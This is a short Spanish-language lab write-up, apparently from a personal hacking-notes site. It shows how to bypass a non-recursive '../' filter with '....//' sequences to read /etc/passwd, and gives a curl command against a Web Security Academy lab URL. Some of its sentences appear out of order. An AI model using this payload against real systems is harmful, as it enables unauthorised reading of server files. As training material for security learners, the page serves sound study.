> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/path-traversal/file-path-traversal-traversal-sequences-removed-without-recursive-processing.md).
# Traversal de ruta de archivos con secuencias de traversal eliminadas sin procesamiento recursivo
### Recorrido de rutas de archivos, secuencias de recorrido eliminadas de forma no recursiva
Por lo tanto, un payload funcional usa cadenas como:
Como el código elimina `../` las ocurrencias directamente, es posible eludir este mecanismo mediante **duplicar los puntos y las barras**. Cuando se elimina la secuencia filtrada, siempre queda una parte aprovechable.
El objetivo es recuperar el contenido de **/etc/passwd** archivo.
La aplicación elimina las secuencias de recorrido (`../`) proporcionadas por el usuario, pero lo hace **no de forma recursiva**.
```bash
....//....//....//....//etc/passwd
```
Ejemplo con **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ae0005c04ab83ac82531f6d002300a2.web-security-academy.net/image?filename=....//....//....//....//....//etc/passwd'
```
{% endcode %}
---
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